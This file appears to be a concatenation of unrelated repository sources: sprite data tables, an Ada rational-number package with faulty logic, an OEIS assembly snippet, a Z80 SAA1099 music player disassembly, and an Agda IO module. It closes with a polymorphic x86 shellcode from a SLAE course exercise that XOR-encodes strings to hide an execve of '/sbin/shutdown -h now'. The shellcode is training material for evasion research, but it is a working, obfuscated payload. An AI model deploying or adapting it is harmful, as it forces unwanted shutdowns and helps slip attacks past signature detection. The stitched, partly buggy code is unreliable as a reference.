$FF, $F6 dc.b 0, 5, 0, $63, $FF, $FD dc.b $E8, 5, 0, $C4, $FF, $FA dc.b $E8, $E, 0, $2E, $FF, $DF dc.b $F0, 5, 0, $3A, $FF, $FF dc.b 0, 1, 0, $3E, $FF, $E7 dc.b 0, $E, 0, $40, $FF, $EF dc.b $FE, $A, 0, $AD, 0, 5 dc.b 6, 9, 0, $B6, 0, $1D dc.b 0, 5, 0, $DA, $FF, $E7 dc.b 0, 5, 0, $DA, $FF, $EE word_1868DC: dc.w $A dc.b $F8, $A, 0, $4C, $FF, $E4 dc.b 0, 5, 0, $DA, $FF, $F0 dc.b 0, 5, 0, $DA, 0, 3 dc.b $E8, $B, 0, 0, $FF, $E8 dc.b 8, 8, 0, $C, $FF, $E8 dc.b $10, 4, 0, $F, $FF, $F0 dc.b $E8, $B, 8, 0, 0, 0 dc.b 8, 8, 8, $C, 0, 0 dc.b $10, 4, 8, $F, 0, 0 dc.b $F8, $A, 8, $4C, 0, 4 word_18691A: dc.w $13 dc.b $18, 4, 0, $6F, $FF, $F9 dc.b $20, 9, 0, $71, $FF, $F1 dc.b 8, 4, 0, $55, 0, 1 dc.b $10, 9, 0, $57, $FF, $F9 dc.b $F8, $A, 0, $4C, $FF, $F9 dc.b 8, 5, 0, $63, 0, 0 dc.b $E8, $E, 8, $2E, $FF, $F8 dc.b $F0, 5, 8, $3A, $FF, $E8 dc.b 0, 1, 8, $3E, 0, 8 dc.b 0, $E, 8, $40, $FF, $E8 dc.b $18, 4, 0, $67, $FF, $E1 dc.b $20, 9, 0, $69, $FF, $D9 dc.b 8, 4, 0, $55, $FF, $E9 dc.b $10, 9, 0, $57, $FF, $E1 dc.b $F8, $A, 0, $4C, $FF, $E1 dc.b $10, $B, 0, $8D, $FF, $D3 dc.b $30, 9, 0, $99, $FF, $D3 dc.b 0, 5, 0, $DA, 0, 4 dc.b 0, 5, 0, $DA, $FF, $FE word_18698E: dc.w $16 dc.b $18, 4, 0, $6F, 0, 2 dc.b $20, 9, 0, $71, $FF, $FA dc.b $F8, $A, 0, $4C, 0, 2 dc.b 8, 4, 0, $55, 0, $A dc.b $10, 9, 0, $57, 0, 2 dc.b 8, 5, 0, $63, 0, $A dc.b $F0, 1, 0, $D4, $FF, $FB dc.b $E8, $F, 0, $11, $FF, $F4 dc.b $F0, 2, 0, $21, $FF, $EC dc.b 8, 1, 0, $24, $FF, $EC dc.b 8, $D, 0, $26, $FF, $F4 dc.b $18, 4, 0, $67, $FF, $E2 dc.b $20, 9, 0, $69, $FF, $DA dc.b $F8, $A, 0, $4C, $FF, $E2 dc.b 8, 4, 0, $55, $FF, $EA dc.b $10, 9, 0, $57, $FF, $E2 dc.b 8, 5, 0, $63, $FF, $EA dc.b $10, $B, 0, $8D, $FF, $CA dc.b $30, 9, 0, $99, $FF, $CA dc.b $26, 0, 0, $77, $FF, $F2 dc.b $26, 0, 0, $77, 0, $12 dc.b 0, 5, 0, $DA, 0, 3 word_186A14: dc.w 1 dc.b $F4, 6, 0, $9F, $FF, $F8 word_186A1C: dc.w 2 dc.b $F4, 4, 0, $A5, $FF, $FC dc.b $FC, 9, 0, $A7, $FF, $F4 word_186A2A: dc.w 3 dc.b $F8, 1, 8, $D2, 0, 0 dc.b $F8, 5, 0, $CA, $FF, $F8 dc.b $F0, 4, 0, $D6, $FF, $F8 word_186A3E: dc.w 3 dc.b $F8, 5, 8, $CE, $FF, $F8 dc.b $F8, 5, 0, $CA, $FF, $F8 dc.b $F0, 4, 0, $D6, $FF, $F8 word_186A52: dc.w 3 dc.b $F8, 5, 0, $CE, $FF, $F8 dc.b $F8, 5, 0, $CA, $FF, $F8 dc.b $F0, 4, 0, $D6, $FF, $F8 word_186A66: dc.w 3 dc.b $F8, 1, 0, $D2, $FF, $F8 dc.b $F8, 5, 0, $CA, $FF, $F8 dc.b $F0, 4, 0, $D6, $FF, $F8 word_186A7A: dc.w 2 dc.b $F8, 5, 0, $CA, $FF, $F8 dc.b $F0, 4, 0, $D6, $FF, $F8
07_packages/Practica1.adb
hbarrientosg/cs-mp
0
17666
<gh_stars>0 Package body Numeros_racionales is function "/"(A,B:integer)return Racional is R1:Racional; D:integer; Begin if B/=0 then R1.Num := A/Max(abs(a),abs(B)); R1.Dem:= B/Max(abs(a),abs(B)); else raise Denominador_cero; end if; Return r1; End "/"; Function "+"(X,Y:Racional)return Racional is Aux:Racional; Begin Aux.Num:=(X.num*Y.Dem)+(Y.Num*X.Dem); Aux.dem:=X.dem*Y.dem; aux.dem:=aux.Dem/Max(abs(aux.num),abs(aux.dem)); aux.num:=aux.num/Max(abs(aux.num),abs(aux.dem)); Return Aux; End "+"; function "-"(X,Y:Racional)return Racional is Aux:Racional; begin Aux.num:=(X.num*Y.Dem)-(Y.num*X.dem); aux.Dem:=Y.dem*X.dem; aux.num:=aux.num/Max(abs(aux.num),abs(aux.dem)); aux.dem:=aux.Dem/Max(abs(aux.num),abs(aux.dem)); return Aux; end "-"; function "*"(X,Y:racional)return Racional is Aux:racional; Begin Aux.Num:=X.num*Y.Num; Aux.Dem:=X.dem*Y.dem; aux.num:=aux.num/Max(abs(aux.num),abs(aux.dem)); aux.dem:=aux.Dem/Max(abs(aux.num),abs(aux.dem)); return Aux; End "*"; Function "/"(X,Y:Racional)return Racional is Aux:Racional; begin Aux.Num:=X.num*Y.dem; Aux.dem:=X.dem*Y.dem; aux.num:=aux.num/Max(abs(aux.num),abs(aux.dem)); aux.dem:=aux.Dem/Max(abs(aux.num),abs(aux.dem)); return Aux; End "/"; Function "="(X,Y:Racional)return Boolean Is Begin return (X.dem=Y.dem) and (X.num=Y.Num); end "="; function Absoluto(X:Racional)return Racional is A,B:integer; begin If X.Dem/=-X.dem then A:=x.Num; B:=X.Dem; End if; Return X; end Absoluto; function Numerador(X:Racional)return Integer is begin return X.num; end Numerador; Function Denominador(X:Racional)return Integer is begin return X.dem; end Denominador; function Max(X,Y:integer)return Integer is aux,aux2,aux3:Integer; begin if X = 0 Then return Y; else if x>=y then Aux:=x-y; aux3:=y; while aux/=0 loop if aux>=aux3 then Aux2:=aux; else aux2:=aux3; aux3:=aux; end if; aux:=aux2-aux3; end loop; return aux3; else Aux:=y-x; aux3:=x; while aux/=0 loop if aux>=aux3 then Aux2:=aux; else aux2:=aux3; aux3:=aux; end if; aux:=aux2-aux3; end loop; return aux3; end if; end if; end max; end Numeros_Racionales;
programs/oeis/194/A194599.asm
neoneye/loda
22
242352
; A194599: Units' digits of the nonzero hexagonal numbers. ; 1,6,5,8,5,6,1,0,3,0,1,6,5,8,5,6,1,0,3,0,1,6,5,8,5,6,1,0,3,0,1,6,5,8,5,6,1,0,3,0,1,6,5,8,5,6,1,0,3,0,1,6,5,8,5,6,1,0,3,0,1,6,5,8,5,6,1,0,3,0,1,6,5,8,5,6,1,0,3,0,1,6,5,8,5,6,1,0,3,0,1,6,5,8,5,6,1,0,3,0 mov $2,8 mul $2,$0 sub $2,1 add $0,$2 mul $0,$2 mod $0,10
libsrc/psg/saa1099/etracker/etracker.asm
ahjelm/z88dk
640
9829
<reponame>ahjelm/z88dk ; Disassembly of the compiled E-Tracker player ; ; (C) 2020-2021 <NAME> ; ; Object code (C) 1992 ESI ;---------------------------------------------- ; row as shown in E-Tracker editor: ; ; | 000 | --- 0000 | --- 0000 | --- 0000 ; row |/| ||command + parameter ; | | |+- ornament ; | | +-- instrument ; | +- octave ; +--- note ; note: C C# D D# E F F# G G# A A# B ; octave: 1-8 ; instrument: 1-9 A-V (= 31 instruments) ; ornament: 1-9 A-V (= 31 ornaments) ; command: ; 0 no change ; 1 envelope generator - [0-c] see cmd_envelope ; 2 instrument inversion - [0-1] see cmd_instrument_inversion ; 3 tune delay (default 6)- [0-f] see cmd_tune_delay ; 4 volume reduction - [0-f] see cmd_volume_reduction ; 5 extended noise - [0-1] see cmd_extended_noise ; 6 stop sound see cmd_stop_sound ; 7 no change IF __CPU_Z80__ | __CPU_Z80N__ MODULE etracker SECTION smc_clib PUBLIC asm_etracker_init PUBLIC asm_etracker_play defc asm_etracker_init = init defc asm_etracker_play = etracker_play include "saa1099.def" include "ports.def" ;============================================== etracker_init: ld hl,module jp init ;============================================== etracker_play: var_delay: ld a,1 dec a jr nz,same_notes ld ix,str_channel_0 ld b,6 loop1: push bc call get_note ld bc,str_channel_size add ix,bc pop bc djnz loop1 ld hl,(var_noise_0) ld a,h call swap_nibbles_a or l ld (var_noise_extended+1),a var_tune_delay: ld a,6 same_notes: ld (var_delay+1),a ;---------------------------------------------- ld ix,str_channel_0 call update_channel ; sets a, l, a' ld (out + saa_register_amplitude_0),a ld (out + saa_register_frequency_tone_0),hl push hl ld hl,0 call get_noise ; move lower two bits of a' into l and h ld (store_noise1+1),hl ld (var_noise_gen_0+1),a ;---------------------------------------------- ld ix,str_channel_1 call update_channel ld (out + saa_register_amplitude_1),a ld (out + saa_register_frequency_tone_1),hl push hl store_noise1: ld hl,0 call get_noise ld (store_noise2+1),hl rl h jr nc,no_noise1 ld (var_noise_gen_0+1),a no_noise1: ;---------------------------------------------- ld ix,str_channel_2 call update_channel ld (out + saa_register_amplitude_2),a ld (out + saa_register_frequency_tone_2),hl push hl store_noise2: ld hl,0 call get_noise ld (store_noise3+1),hl rl h jr nc,no_noise2 ld (var_noise_gen_0+1),a no_noise2: ;---------------------------------------------- ld ix,str_channel_3 call update_channel ld (out + saa_register_amplitude_3),a ld (out + saa_register_frequency_tone_3),hl push hl store_noise3: ld hl,0 call get_noise ld (store_noise4+1),hl ld (var_noise_gen_1+1),a ;---------------------------------------------- ld ix,str_channel_4 call update_channel ld (out + saa_register_amplitude_4),a ld (out + saa_register_frequency_tone_4),hl push hl store_noise4: ld hl,0 call get_noise ld (store_noise5+1),hl rl h jr nc,no_noise3 ld (var_noise_gen_1+1),a no_noise3: ;---------------------------------------------- ld ix,str_channel_5 call update_channel ld (out + saa_register_amplitude_5),a ld (out + saa_register_frequency_tone_5),hl push hl store_noise5: ld hl,0 call get_noise rr l rr l rr h rr h ld (out + saa_register_frequency_enable),hl rlca jr c,no_noise4 var_noise_gen_1: ; set by instruments ch3-ch5 ld a,0 rlca no_noise4: rlca rlca rlca var_noise_gen_0: ; set by instruments ch0-ch2 or 0 var_noise_extended: ; set by cmd_extended_noise or 0 ld (out + saa_register_noise_generator_1_0),a pop af ; tone channel 5 pop bc ; tone channel 4 call swap_nibbles_a or b ld h,a pop af ; tone channel 3 pop bc ; tone channel 2 call swap_nibbles_a or b ld l,a ld (out + saa_register_octave_3_2),hl pop af ; tone channel 1 pop bc ; tone channel 0 call swap_nibbles_a or b ld (out + saa_register_octave_1_0),a ld bc,port_sound_address ld de,saa_register_sound_enable * $100 + saa_se_channels_enabled out (c),d dec b ; -> b = port_sound_data out (c),e if SILENT xor a ld hl,out + saa_register_amplitude_0 ld (hl),a ; 0 inc hl ld (hl),a ; 1 inc hl ; ld (hl),a ; 2 ! bleep inc hl ld (hl),a ; 3 inc hl ld (hl),a ; 4 inc hl ld (hl),a ; 5 ;!!! silence channels endif ld hl,out + saa_register_envelope_generator_1 ld d,saa_register_envelope_generator_1 ; $19 loop2: inc b ; -> b = port_sound_address out (c),d dec b ; -> b = port_sound_data ld a,(hl) out (c),a dec d ret m ; d = -1 dec hl jr loop2 ;---------------------------------------------- frequency_note: defb $05 ; B defb $21 ; C defb $3c ; C# defb $55 ; D defb $6d ; D# defb $84 ; E defb $99 ; F defb $ad ; F# defb $c0 ; G defb $d2 ; G# defb $e3 ; A defb $f3 ; A# ;---------------------------------------------- instrument_none: defb $fe ; set loop defb $01 defb $00 defb $00 defb $fc ; get loop ;---------------------------------------------- list_envelopes: enabled: equ saa_envelope_enabled bits_3: equ saa_envelope_bits_3 bits_4: equ saa_envelope_bits_4 same: equ saa_envelope_left_right_same inverse: equ saa_envelope_left_right_inverse defb same | bits_4 | saa_envelope_mode_zero | saa_envelope_reset defb same | bits_3 | saa_envelope_mode_repeat_decay | enabled ; 1 defb same | bits_3 | saa_envelope_mode_repeat_attack | enabled ; 2 defb same | bits_3 | saa_envelope_mode_repeat_triangle | enabled ; 3 defb same | bits_4 | saa_envelope_mode_repeat_decay | enabled ; 4 defb same | bits_4 | saa_envelope_mode_repeat_attack | enabled ; 5 defb same | bits_4 | saa_envelope_mode_repeat_triangle | enabled ; 5 defb inverse | bits_3 | saa_envelope_mode_repeat_decay | enabled ; 7 defb inverse | bits_3 | saa_envelope_mode_repeat_attack | enabled ; 8 defb inverse | bits_3 | saa_envelope_mode_repeat_triangle | enabled ; 9 defb inverse | bits_4 | saa_envelope_mode_repeat_decay | enabled ; A defb inverse | bits_4 | saa_envelope_mode_repeat_attack | enabled ; B defb inverse | bits_4 | saa_envelope_mode_repeat_triangle | enabled ; C ;---------------------------------------------- ornament_none: defb $fe ; set loop defb $00 defb $ff ; get loop ;============================================== list_commands: ; jr table, used to adjust jr at smc_command_jr ; first byte of each pair is compared, if command is ; equal or higher, jr is used else proceed to next ; -> compare bytes must be in descending order ; the subtracted value is in c offset: equ smc_command_jr + 2 defb $d2 ; [$d2-$ff] -> c = [$00-$2d] defb cmd_set_delay_next_note - offset defb $72 ; [$72-$d2] -> c = [$00-$60] defb cmd_set_note - offset defb $52 ; [$52-$71] -> c = [$00-$1f] defb cmd_set_instrument - offset defb $51 ; [$51] -> c = $00 defb cmd_end_of_track - offset defb $50 ; [$50] -> c = $00 defb cmd_stop_sound - offset defb $30 ; [$30-$4f] -> c = [$00-$1f] defb cmd_set_ornament - offset defb $2e ; [$2e-$2f] -> c = [$00-$01] defb cmd_instrument_inversion - offset defb $21 ; [$21-2$d] -> c = [$00-$0c] defb cmd_envelope - offset defb $11 ; [$11-$20] -> c = [$00-$0f] defb cmd_volume_reduction - offset defb $0f ; [$0f-$10] -> c = [$00-$01] defb cmd_extended_noise - offset defb $00 ; [$00-$0f] -> c = [$00-$0f] defb cmd_tune_delay - offset ;============================================== swap_nibbles_a: rlca rlca rlca rlca ret ;============================================== get_noise: ; move lower two bits of a' into l and h ex af,af' rrca ; move bit 0 of a into carry rr l ; move carry bit into bit 7 of l rrca ; move bit 0 of a into carry rr h ; move carry bit into bit 7 of h ret ;============================================== bc_eq_section_c: ; input ; hl = index ; c = section ; output ; bc = address ;---------------------------------------------- sla c ld b,0 jr nc,$+3 inc b add hl,bc ; bc = c * 2 bc_eq_section: ld c,(hl) inc hl ld b,(hl) inc hl push hl var_module_start: ld hl,0 add hl,bc ld c,l ld b,h pop hl ret ;============================================== cmd_set_instrument: ; input ; c = [$00-$1f] var_instruments: ld hl,0 call bc_eq_section_c ld (ix+ch_ptr_instrument_start ),c ld (ix+ch_ptr_instrument_start+1),b ld hl,instrument_none ld (ix+ch_ptr_instrument_loop ),l ld (ix+ch_ptr_instrument_loop+1),h jr set_instrument ;============================================== cmd_set_ornament: ; input ; c = [$00-$1f] var_ornaments: ld hl,0 call bc_eq_section_c ld (ix+ch_ptr_ornament_start ),c ld (ix+ch_ptr_ornament_start+1),b ld hl,ornament_none ld (ix+ch_ptr_ornament_loop ),l ld (ix+ch_ptr_ornament_loop+1),h jr set_ornament ;============================================== get_note: ; input ; b = counter channel ; 6 0 freq noise generator 0 ; 5 1 freq internal envelope clock ; 4 2 ; 3 3 freq noise generator 1 ; 2 4 freq internal envelope clock ; 1 5 ; ix = ptr_channel ; ; BUG: envelope set in channel 3 sets incorrect envelope generator ;---------------------------------------------- dec (ix+ch_delay_next_note) ret p ; ret when (ix+ch_delay_next_note) > 0 ld a,b cp 3 ; !!! bug - should be cp 4 according to DTA ld hl,out + saa_register_envelope_generator_0 jr nc,$+3 ; b >= 3 (-> channel <= 3, should be <= 2) inc hl ; hl = envelope_generator_1 ld (ptr_envelope_generator+1),hl get_note_again: ld e,(ix+ch_ptr_track ) ld d,(ix+ch_ptr_track+1) get_command: ld hl,list_commands - 1 find1: ld a,(de) inc hl sub (hl) inc hl jr c,find1 ; (hl) > a inc de ld c,a ld a,(hl) ld (smc_command_jr+1),a ; update jr below smc_command_jr: jr smc_command_jr ; smc = command from list_commands ;============================================== cmd_set_note: ; input ; c = [$00-$60] ld (ix+ch_note),c ld c,(ix+ch_ptr_instrument_start ) ld b,(ix+ch_ptr_instrument_start+1) ;---------------------------------------------- set_instrument: ld (ix+ch_ptr_instrument ),c ld (ix+ch_ptr_instrument+1),b ld c,(ix+ch_ptr_ornament_start ) ld b,(ix+ch_ptr_ornament_start+1) ;---------------------------------------------- set_ornament: ld (ix+ch_ptr_ornament ),c ld (ix+ch_ptr_ornament+1),b ld (ix+ch_delay_next_ornament),1 ld (ix+ch_delay_next_instrument),1 ld (ix+ch_delay_next_volume),1 jr get_command ;============================================== cmd_envelope: ; turn on or off envelope generator ; input ; c = envelope [$00-$0c] ld b,0 ld hl,list_envelopes add hl,bc ld a,(hl) ptr_envelope_generator: ld (0),a ; out + saa_register_envelope_generator_0 or 1 jr get_command ;============================================== cmd_instrument_inversion: ; turn on or off instrument inversion ; input ; c = [$00-$01] ld (ix+ch_instrument_inversion),c jr get_command ;============================================== cmd_tune_delay: ; input ; c = [$00-$0f] ld a,c inc a ld (var_tune_delay+1),a jr get_command ;============================================== cmd_volume_reduction: ; volume reduction ; input ; c = [$00-$0f] ld (ix+ch_volume_reduction),c jr get_command ;============================================== cmd_extended_noise: ; input ; c = [$00-$01] jr z,extended_noise_off ld c,saa_noise_0_variable extended_noise_off: ld hl,(ptr_envelope_generator+1) ; hl = out_envelope_generator_0 or 1 inc hl inc hl ld (hl),c ; hl = var_noise_0 or 1 jr get_command ;============================================== cmd_stop_sound: ld bc,instrument_none jr set_instrument ;============================================== cmd_set_delay_next_note: ; input ; c = [$00-$2d] ld (ix+ch_delay_next_note),c ld (ix+ch_ptr_track ),e ld (ix+ch_ptr_track+1),d ret ;============================================== cmd_end_of_track: call read_song_table jp get_note_again ;============================================== handle_instrument_loop_or_delay: cp $7f ; a was $fe jr z,set_instrument_loop cp $7e ; a was $fc jr z,get_instrument_loop add a,2 ld c,a ; delay until next command jr handle_instrument ;---------------------------------------------- set_instrument_loop: ld (ix+ch_ptr_instrument_loop ),l ld (ix+ch_ptr_instrument_loop+1),h jr handle_instrument ;---------------------------------------------- get_instrument_loop: ld l,(ix+ch_ptr_instrument_loop ) ld h,(ix+ch_ptr_instrument_loop+1) jr handle_instrument ;============================================== handle_ornament_loop_or_delay: inc a jr z,get_ornament_loop ; a was $ff inc a jr z,set_ornament_loop ; a was $fe sub 8 * 12 ld c,a ; c = delay until next command jr handle_ornament ;---------------------------------------------- get_ornament_loop: ld l,(ix+ch_ptr_ornament_loop ) ld h,(ix+ch_ptr_ornament_loop+1) jr handle_ornament ;---------------------------------------------- set_ornament_loop: ld (ix+ch_ptr_ornament_loop ),l ld (ix+ch_ptr_ornament_loop+1),h jr handle_ornament ;============================================== update_channel: ; input ; ix = ptr_channel ; output ; a = amplitude ; l = tone ; a' = noise ;---------------------------------------------- ld e,(ix+ch_ptr_instrument_pitch ) ld d,(ix+ch_ptr_instrument_pitch+1) dec (ix+ch_delay_next_instrument) ld l,(ix+ch_ptr_instrument ) ld h,(ix+ch_ptr_instrument+1) jr nz,no_instrument_change ld c,1 handle_instrument: ld a,(hl) inc hl rrca jr nc,handle_instrument_loop_or_delay ; a = even - returns c with delay until next command ld (ix+ch_delay_next_instrument),c ld (ix+ch_ptr_instrument_pitch+1),a ld e,(hl) ld d,a ld (ix+ch_ptr_instrument_pitch),e inc hl no_instrument_change: push hl ld a,(ix+ch_ornament_note) dec (ix+ch_delay_next_ornament) jr nz,no_ornament_change ld c,1 ld l,(ix+ch_ptr_ornament ) ld h,(ix+ch_ptr_ornament+1) handle_ornament: ld a,(hl) inc hl cp 8 * 12 ; ornament values capped at 8 octaves ; since they wrap around anyway jr nc,handle_ornament_loop_or_delay ; a >= 8 * 12 ld (ix+ch_delay_next_ornament),c ld (ix+ch_ornament_note),a ld (ix+ch_ptr_ornament ),l ld (ix+ch_ptr_ornament+1),h no_ornament_change: add a,(ix+ch_note) cp 8 * 12 - 1 ld hl,$07ff ; maximum octave (7) + note ($ff) jr z,max_note ; a == $5f var_pattern_height: add a,0 ; set jr nc,$+4 sub 8 * 12 ld hl,$ff0c ; h = -1, l = 12 ld b,h loop3: inc h sub l ; l = 12 = octave jr nc,loop3 ; h = octave ld c,a ld a,h ld hl,frequency_note + 12 add hl,bc ld l,(hl) ld h,a ; hl = octave + frequency max_note: add hl,de ; de = instrument_pitch ld a,h and $07 ; prevent octave overflow ld h,a ld a,d rrca rrca rrca and $0f ex af,af' ; a' used by get_noise to fill bit 7 of h $ bit 7 of l ex de,hl pop hl ; <- ch_ptr_instrument ld a,(ix+ch_volume) dec (ix+ch_delay_next_volume) jr nz,no_volume_change ld a,(hl) inc hl var_default_volume_delay: cp 0 jr nz,handle_volume_delay ld c,(hl) ; delay next volume change inc hl get_volume_hl: ld a,(hl) ; volume inc hl use_volume_a: ld (ix+ch_delay_next_volume),c no_volume_change: ld (ix+ch_ptr_instrument ),l ld (ix+ch_ptr_instrument+1),h ld (ix+ch_volume),a ex de,hl ld b,(ix+ch_volume_reduction) ld c,a and $0f sub b jr nc,volume_ge_0__1 xor a volume_ge_0__1: ld e,a ld a,c and $f0 call swap_nibbles_a sub b jr nc,volume_ge_0__2 xor a volume_ge_0__2: ld d,a ld a,(ix+ch_instrument_inversion) or a ld a,e jr nz,inverted ld a,d ld d,e inverted: call swap_nibbles_a or d ret ;============================================== handle_volume_delay: ; input ; a = value to lookup ; output ; c = value of entry that matches b push hl ld b,a var_volume_delay: ld hl,0 find2: ld a,(hl) or a jr z,not_found inc hl ld c,(hl) inc hl cp b jr nz,find2 pop hl jr get_volume_hl ;---------------------------------------------- not_found: pop hl ld c,1 ld a,b jr use_volume_a ;---------------------------------------------- SECTION bss_clib DEFVARS 0 { ch_ptr_track ds.w 1 ch_ptr_instrument ds.w 1 ch_ptr_instrument_loop ds.w 1 ch_ptr_ornament ds.w 1 ch_ptr_ornament_loop ds.w 1 ch_ptr_instrument_pitch ds.w 1 ch_volume ds.b 1 ch_ornament_note ds.b 1 ch_note ds.b 1 ch_ptr_instrument_start ds.w 1 ch_ptr_ornament_start ds.w 1 ch_delay_next_note ds.b 1 ch_delay_next_ornament ds.b 1 ch_delay_next_instrument ds.b 1 ch_delay_next_volume ds.b 1 ch_instrument_inversion ds.b 1 ch_volume_reduction ds.b 1 str_channel_size ds.b 0 } str_channel_0: defs str_channel_size str_channel_1: defs str_channel_size str_channel_2: defs str_channel_size str_channel_3: defs str_channel_size str_channel_4: defs str_channel_size str_channel_5: defs str_channel_size out: defb 0 ; $00 amplitude_0 defb 0 ; $01 amplitude_1 defb 0 ; $02 amplitude_2 defb 0 ; $03 amplitude_3 defb 0 ; $04 amplitude_4 defb 0 ; $05 amplitude_5 defb 0 ; --- defb 0 ; --- defb 0 ; $08 frequency_tone_0 defb 0 ; $09 frequency_tone_1 defb 0 ; $0a frequency_tone_2 defb 0 ; $0b frequency_tone_3 defb 0 ; $0c frequency_tone_4 defb 0 ; $0d frequency_tone_5 defb 0 ; --- defb 0 ; --- defb 0 ; $10 octave_1_0 defb 0 ; $11 octave_3_2 defb 0 ; $12 octave_5_4 defb 0 ; --- defb 0 ; $14 frequency_enable defb 0 ; $15 noise_enable defb 0 ; $16 noise_generator_1_0 defb 0 ; --- defb 0 ; $18 envelope_generator_0 defb 0 ; $19 envelope_generator_1 var_noise_0: defb 0 var_noise_1: defb 0 out_size: equ $ - out SECTION smc_clib ;============================================== init: ; input ; hl = start address of compiled module ;---------------------------------------------- ld (var_module_start+1),hl call bc_eq_section ld (var_song_table+1),bc call bc_eq_section ld (var_patterns+1),bc call bc_eq_section ld (var_instruments+1),bc call bc_eq_section ld (var_ornaments+1),bc call bc_eq_section ld a,(bc) inc bc ld (var_default_volume_delay+1),a ld (var_volume_delay+1),bc ld hl,str_channel_0 ld b,6 * str_channel_size + out_size xor a loop4: ld (hl),a inc hl djnz loop4 inc a ; -> a = 1 ld (var_delay+1),a ld ix,str_channel_0 ld de,str_channel_size ld b,6 loop5: ld (ix+ch_delay_next_ornament),a ; a = 1 ld (ix+ch_delay_next_instrument),a ; a = 1 ld (ix+ch_delay_next_volume),a ; a = 1 ld hl,instrument_none ld (ix+ch_ptr_instrument_start ),l ld (ix+ch_ptr_instrument_start+1),h ld (ix+ch_ptr_instrument ),l ld (ix+ch_ptr_instrument+1),h ld hl,ornament_none ld (ix+ch_ptr_ornament_start ),l ld (ix+ch_ptr_ornament_start+1),h add ix,de djnz loop5 ld de,saa_register_sound_enable * $100 + saa_se_generators_reset ld bc,port_sound_address out (c),d dec b out (c),e ;---------------------------------------------- read_song_table: ; song table entries are a multiple of 3 -> [$00,$03,$06 __ $5a,$5d] var_song_table: ld hl,0 init_song_table: ld c,(hl) ld a,c inc hl inc a jr z,song_table_get_loop ; a = $ff -> end of song inc a jr z,song_table_set_loop ; a = $fe sub $62 jr nc,song_table_set_height ; a >= $60 (a was incremented twice above) ld (var_song_table+1),hl sla c ; c * 2 -> song_table is multiple of 3 -> per channel var_patterns: ld hl,0 call bc_eq_section_c ld (str_channel_0+ch_ptr_track),bc call bc_eq_section ld (str_channel_1+ch_ptr_track),bc call bc_eq_section ld (str_channel_2+ch_ptr_track),bc call bc_eq_section ld (str_channel_3+ch_ptr_track),bc call bc_eq_section ld (str_channel_4+ch_ptr_track),bc call bc_eq_section ld (str_channel_5+ch_ptr_track),bc ret ;============================================== song_table_get_loop: var_song_table_loop: ld hl,0 jr init_song_table ;============================================== song_table_set_loop: ld (var_song_table_loop+1),hl jr init_song_table ;============================================== song_table_set_height: ; input ; a = [$00-$9b] ld (var_pattern_height+1),a jr init_song_table ;============================================== ; easier to debug module when aligned ; align $1000 module: ENDIF
presentationsAndExampleCode/agdaImplementorsMeetingGlasgow22April2016AntonSetzer/stateDependentIO.agda
agda/ooAgda
23
9463
module stateDependentIO where open import Level using (_⊔_ ) renaming (suc to lsuc; zero to lzero) open import Size renaming (Size to AgdaSize) open import NativeIO open import Function module _ {γ ρ μ} where record IOInterfaceˢ : Set (lsuc (γ ⊔ ρ ⊔ μ )) where field StateIOˢ : Set γ Commandˢ : StateIOˢ → Set ρ Responseˢ : (s : StateIOˢ) → Commandˢ s → Set μ nextIOˢ : (s : StateIOˢ) → (c : Commandˢ s) → Responseˢ s c → StateIOˢ open IOInterfaceˢ public module _ {α γ ρ μ}(i : IOInterfaceˢ {γ} {ρ} {μ} ) (let S = StateIOˢ i) (let C = Commandˢ i) (let R = Responseˢ i) (let next = nextIOˢ i) where mutual record IOˢ (i : AgdaSize) (A : S → Set α) (s : S) : Set (lsuc (α ⊔ γ ⊔ ρ ⊔ μ )) where coinductive constructor delay field forceˢ : {j : Size< i} → IOˢ' j A s data IOˢ' (i : AgdaSize) (A : S → Set α) : S → Set (lsuc (α ⊔ γ ⊔ ρ ⊔ μ )) where doˢ' : {s : S} → (c : C s) → (f : (r : R s c) → IOˢ i A (next s c r) ) → IOˢ' i A s returnˢ' : {s : S} → (a : A s) → IOˢ' i A s open IOˢ public module _ {α γ ρ μ}{I : IOInterfaceˢ {γ} {ρ} {μ}} (let S = StateIOˢ I) (let C = Commandˢ I) (let R = Responseˢ I) (let next = nextIOˢ I) where returnIOˢ : ∀{i}{A : S → Set α} {s : S} (a : A s) → IOˢ I i A s forceˢ (returnIOˢ a) = returnˢ' a doˢ : ∀{i}{A : S → Set α} {s : S} (c : C s) (f : (r : R s c) → IOˢ I i A (next s c r)) → IOˢ I i A s forceˢ (doˢ c f) = doˢ' c f module _ {γ ρ}{I : IOInterfaceˢ {γ} {ρ} {lzero}} (let S = StateIOˢ I) (let C = Commandˢ I) (let R = Responseˢ I) (let next = nextIOˢ I) where {-# NON_TERMINATING #-} translateIOˢ : ∀{A : Set }{s : S} → (translateLocal : (s : S) → (c : C s) → NativeIO (R s c)) → IOˢ I ∞ (λ s → A) s → NativeIO A translateIOˢ {A} {s} translateLocal p = case (forceˢ p {_}) of λ{ (doˢ' {.s} c f) → (translateLocal s c) native>>= λ r → translateIOˢ translateLocal (f r) ; (returnˢ' a) → nativeReturn a }
assignment6/shutdownv2.asm
gkweb76/SLAE
15
242131
; Polymorphic version of http://shell-storm.org/shellcode/files/shellcode-876.php ; 83 bytes (original 56 bytes) ; <NAME> ; SLAE-681 global _start section .text _start: ;int execve(const char *filename, char *const argv[], char *const envp[] xor eax, eax ; zero out eax push eax ; push NULL terminating string push word 0xc287 ; XORed '-h' with 0xAA xor word [esp], 0xaaaa ; XOR back string to clear text '-h' push eax ; push NULL push dword 0x776f6eAA ; = 'now' mov [esp], byte al ; \x00 = NULL mov edi, esp ; edi = *'-h now' push eax ; push NULL mov ebx, dword 0xc4ddc5ce ; XORed 'down' with 0xAA xor ebx, 0xaaaaaaaa ; XOR back the string to clear text push ebx ; string 'down' mov ebx, dword 0x63645762 ; encoded 'shut' decreased by 0x11111111 add ebx, 0x11111111 ; convert back the string to clear text push ebx ; string 'shut' mov ebx, dword 0x85c4c3c8 ; XORed 'bin/' with 0xAA xor ebx, 0xaaaaaaaa ; XOR back the string to clear text push ebx ; string 'bin/' mov bx, 0x6129 ; encoded '/s' decreased by 0x1206 add bx, 0x1206 ; convert back the string to clear text push bx ; string '/s' ; clear string on stack = /sbin/shutdown mov ebx, esp ; ebx = *filename '/sbin///shutdown' 0x00 push eax push edi ; edi = *argv '-h now' push ebx ; *filename '/sbin///shutdown' 0x00 mov ecx,esp ; ecx = *argv[*filename '/sbin///shutdown' '-h' ; ebx = *filename ; ecx = *argv[*filename, *'-h now'] ; edx = *envp = 0x00 mov al,0xb ; execve() syscall number int 0x80 ; execve(*/sbin///shutdown, *-h now, 0x00)
